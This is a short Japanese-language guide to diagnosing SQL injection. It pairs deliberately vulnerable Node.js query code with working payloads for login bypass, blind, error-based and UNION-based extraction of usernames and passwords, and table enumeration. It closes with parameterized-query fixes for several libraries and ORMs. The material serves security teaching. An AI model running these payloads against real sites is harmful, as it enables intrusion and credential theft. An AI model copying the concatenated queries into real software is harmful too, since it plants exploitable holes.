SQLインジェクション診断

攻撃コード例

// 脆弱なコード（Node.js + MySQL）
const query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

// 攻撃入力
// username: admin' --
// password: (任意)
// 生成されるSQL: SELECT * FROM users WHERE username = 'admin' --' AND password = ''
// "--" 以降がコメントアウトされ、パスワードチェックがバイパスされる

攻撃コード例

// Boolean-based Blind SQLi
// URL: /user?id=1 AND 1=1  → 正常レスポンス
// URL: /user?id=1 AND 1=2  → エラーまたは空レスポンス

// Time-based Blind SQLi
// URL: /user?id=1; WAITFOR DELAY '0:0:5'--
// レスポンスに5秒の遅延 → SQLiが存在する証拠

// データベース名の1文字目を抽出
// /user?id=1 AND SUBSTRING(database(),1,1)='a'  → True/Falseで判定

攻撃コード例

// エラーメッセージの例（本番環境で表示すべきでない）
// "You have an error in your SQL syntax near '1'' at line 1"
// "ERROR: column "password" does not exist" (PostgreSQL)
// "Microsoft OLE DB Provider for SQL Server error '80040e14'"

// 攻撃ペイロード
// /product?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))--

攻撃コード例

// 攻撃ペイロード
// /product?id=1 UNION SELECT username, password, NULL FROM users--

// カラム数の特定
// /product?id=1 ORDER BY 1--  → 正常
// /product?id=1 ORDER BY 2--  → 正常
// /product?id=1 ORDER BY 3--  → エラー → カラム数は2

// テーブル名の列挙（MySQL）
// /product?id=-1 UNION SELECT table_name, NULL FROM information_schema.tables--

// 脆弱なコード（文字列結合）
const query = "SELECT * FROM users WHERE id = " + userId; // NG

// 安全なコード（パラメータ化クエリ）
// Node.js + mysql2
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE id = ?',
  [userId]
);

// Node.js + pg (PostgreSQL)
const result = await pool.query(
  'SELECT * FROM users WHERE id = $1',
  [userId]
);

// Supabase
const { data } = await supabase
  .from('users')
  .select('*')
  .eq('id', userId);

// Prisma ORM（TypeScript）
const user = await prisma.user.findUnique({
  where: { id: userId },  // 自動的にパラメータ化
});

// Drizzle ORM
const users = await db.select()
  .from(usersTable)
  .where(eq(usersTable.id, userId));

// 注意: ORMでも生SQL(raw query)を使う場合は注意
// Prisma の $queryRaw はテンプレートリテラルでパラメータ化
const result = await prisma.$queryRaw`
  SELECT * FROM users WHERE id = ${userId}
`;